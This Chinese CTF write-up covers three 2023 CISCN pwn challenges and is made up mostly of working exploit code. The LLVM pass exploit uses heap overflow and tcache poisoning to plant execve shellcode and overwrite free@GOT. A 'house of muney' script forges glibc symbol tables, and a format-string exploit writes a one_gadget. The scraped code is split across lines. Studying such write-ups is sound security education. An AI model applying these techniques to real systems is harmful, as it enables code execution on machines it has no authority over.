之前写过几篇llvm的分析和题解,感觉这次ciscn还得出llvm,不过这个llvm相对之前的还是比较简单的,漏洞点也是白给,利用也较为简单。(这里我用的是ubuntu20。)
先简单贴一下程序大致流程
代码大概就是这样,刚开始做的时候已经把一些llvm函数忘得差不多了,又看winmt的博客补了一下。
add函数:申请一个堆块
del函数:释放一个堆块
edit函数:对一个堆块进行edit,存在溢出
alloc函数:申请一块rwx内存,地址0x10000
editalloc函数:像0x10000内存写入一个堆地址存放的数据指向的地址(感觉没啥用)
1.申请几个连续的大小相同的堆块,释放中间两个,修改上边的堆块的fd指针为0x10000。
2.申请两个堆块,其中第二个堆块指向0x10000,调用alloc函数将0x10000设置为rwx,向其中写入shellcode的字节码,注意顺序即可。
3.再释放两个相邻堆块,改堆块fd为free_got,申请回free_got,将其改为0x10000。
4.退出llvm.so时执行free函数,执行我们的shellcode来get shell。
1、我在做这个题的时候,刚开始用clang-15编译,然后用opt-10执行一直报错,这里clang应该与opt的版本对应,太久没看过llvm了。
2、在程序执行的时候,首先跑llvm.so,在跑完退出时会调用opt里的函数,这里opt是没有开pie的,所以改opt里的free_got函数。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
|
#include<stdio.h>
int
Add(
int
size){
}
int
Del(
int
index){
}
int
Edit(
int
index,
int
offset,
int
content){
}
int
Alloc(){
}
int
EditAlloc(
int
index,
int
offset){
}
int
Hello(){
Add(
0x1000
);
/
/
0
Add(
0x1000
);
/
/
1
Add(
0x1000
);
/
/
2
/
/
\x48\x31\xf6\x56\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x54\x5f\x6a\x3b\x58\x99\x0f\x05
Add(
176
);
/
/
3
Add(
176
);
/
/
4
Add(
176
);
/
/
5
Add(
176
);
/
/
6
Add(
176
);
/
/
7
Add(
176
);
/
/
8
Add(
176
);
/
/
9
Add(
176
);
/
/
10
Del(
5
);
Del(
4
);
Edit(
3
,
48
,
65536
);
Alloc();
Add(
176
);
/
/
4
Add(
176
);
/
/
5
-
-
>
0x10000
Edit(
5
,
0
,
0x56f63148
);
Edit(
5
,
1
,
0x622fbf48
);
Edit(
5
,
2
,
0x2f2f6e69
);
Edit(
5
,
3
,
0x54576873
);
Edit(
5
,
4
,
0x583b6a5f
);
Edit(
5
,
5
,
0x050f99
);
/
/
Edit(
5
,
5
,
0x050f99
);
Del(
9
);
Del(
8
);
Edit(
7
,
48
,
0x78b108
);
Add(
176
);
/
/
8
Add(
176
);
/
/
9
-
-
-
>free_got
Edit(
9
,
0
,
0x10000
);
Edit(
9
,
1
,
0
);
return
0
;
}
|
其实我感觉llvm难点就是调试,这里首先给出几个命令。
test.c编译为test.ll
1
|
/
usr
/
bin
/
clang
-
10
-
emit
-
llvm
-
S test.c
-
o test.ll
|
gdb动态调试
1
2
3
4
|
gdb opt
-
10
set
args
-
load .
/
LLVMHello.so
-
Hello .
/
test.ll
b main
r
|
首先跑完一大堆的llvm函数,然后用llvm.so加偏移下断点
这里我直接用exp跑。
成功执行shellcode
前边一大堆的逆向,需要知道http数据包如何构造,这个跟上海磐石杯那个hp题挺像的,具体逆向不再分析,主要说一下house of muney这个方法。
当堆管理器分配超大内存时,会调用mmap函数申请内存,申请的内存一般位于libc.so.6内存的低地址处。如果可以修改mmap申请的这段内存的size,那么我们再次申请回来就可以覆盖掉libc.so.6的符号表,哈希表等空间并进行改写伪造,在解析函数实际地址的时候就能控制其解析为任意地址,进而控制程序执行流。
这里先给出exp再进行说明:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
|
from
pwn
import
*
context.log_level
=
'debug'
r
=
process(
'./muney'
)
elf
=
ELF(
'./muney'
)
libc
=
elf.libc
def
add(size,cont):
payload
=
'POST /create HTTP/1.0 \nSize:'
+
str
(size)
+
"\n"
+
'Content-Length:'
+
str
(
len
(cont))
+
'\n\r\n'
+
cont
r.sendafter(
"HTTP_Parser> "
,payload)
def
delete(idx):
payload
=
'POST /delete HTTP/1.0 \nIdx:'
+
str
(idx)
+
"\n"
+
"Content-Length:16"
+
'\n\r\n'
+
'a'
*
16
r.sendafter(
"HTTP_Parser> "
,payload)
def
edit(idx,offset,cont):
payload
=
b
'POST /edit HTTP/1.0 \nIdx:'
+
str
(idx).encode()
+
b
'\n'
+
b
'Offset:'
+
str
(offset).encode()
+
b
'\n'
+
b
"Content-Length:"
+
str
(
len
(cont)).encode()
+
b
'\n\r\n'
+
cont
r.sendafter(
"HTTP_Parser> "
,payload)
def
quit(cont):
payload
=
'POST /quit HTTP/1.0 \n'
+
'Content-Length:'
+
str
(
len
(cont))
+
'\n\r\n'
+
cont
r.sendafter(
"HTTP_Parser> "
,payload)
add(
0x150000
,
'a'
*
16
)
edit(
0
,
-
8
,b
'\x02\x10\x17'
)
delete(
0
)
add(
0x171002
,
'a'
*
16
)
edit(
0
,
0x152b78
,p64(
0xaaa101010210130e
))
edit(
0
,
0x152ca0
,p8(
0x86
))
edit(
0
,
0x153d6c
,p64(
0x7c967e3e7c93f2a0
))
edit(
0
,
0x156d18
-
0x8
,b
"\x90\x22\x05"
)
edit(
0
,
0x156d18
-
0x10
,b
"\xbd\xa1\x1a"
)
edit(
0
,
0x156d18
-
0x10
+
4
,b
"\x12"
)
edit(
0
,
0x156d18
-
0x10
+
6
,b
"\xf0"
)
gdb.attach(r)
quit(
'a'
*
16
)
r.interactive()
|
house of muney的关键在于伪造几个值:
bitmask_word
bucket
hasharr
target symbol ->st_value
调试一下看看这几个值在哪里(注意这里需要用到glibc源码调试,这里使用2.31)
需要先跑过一次while(++i < n)
当源码走到这里时,记录一下bitmask_word的值
走到这里,查看一下bucket的值
走到这里查看一下hasharr。
走到这里会有sym符号表结构的一些值
这里需要将st_name改成strtab与exit的偏移,st_value改成system的st_value。
编写一个c程序执行system看一下值(这个c程序不能开pie和full relro)
是0x52290 。
再来找一下st_name,这里有几个可以选择,试试哪个通就行
全部找到后就可以edit伪造了。
最后执行exit("/bin/sh");就能get shell
在main函数中有一个跳转,看一下off_5060位置
可以看到我们输入的shell命令不同,会跳转到不同函数,这跟初赛的shellwego类似。
漏洞点位于echo里的格式化字符串漏洞
由于该shell是循环输入,所以可以循环利用这个格式化字符串漏洞泄露libc和stack,然后劫持libc_start_main为onegadget即可。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
|
from
pwn
import
*
context.log_level
=
'debug'
r
=
process(
'./pwn'
)
elf
=
ELF(
'./pwn'
)
libc
=
elf.libc
def
shell(payload):
r.sendlineafter(
"$ \x1B[0m"
,payload)
# gdb.attach(r)
shell(
"echo %29$p a"
)
libc_base
=
int
(r.recv(
14
),
16
)
-
243
-
libc.sym[
'__libc_start_main'
]
print
(
"libc_base------------->"
,
hex
(libc_base))
one_gadget
=
[
0xe3afe
,
0xe3b01
,
0xe3b04
]
ogg
=
libc_base
+
one_gadget[
2
]
shell(
"echo %12$p b"
)
stack
=
int
(r.recv(
14
),
16
)
print
(
"stack-------------->"
,
hex
(stack))
libc_start_main
=
stack
+
0x38
shell(
"echo %"
+
str
(libc_start_main&
0xffff
)
+
'c%31$hn c'
)
shell(
"echo %"
+
str
(ogg&
0xffff
)
+
"c%59$hn d"
)
shell(
"echo %"
+
str
(libc_start_main
+
2
&
0xffff
)
+
'c%31$hn e'
)
shell(
"echo %"
+
str
((ogg>>
16
)&
0xffff
)
+
"c%59$hn f"
)
shell(
"KingKi1L3r"
)
r.interactive()
|
更多【2023CISCN—华中赛区—pwn wp】相关视频教程:www.yxfzedu.com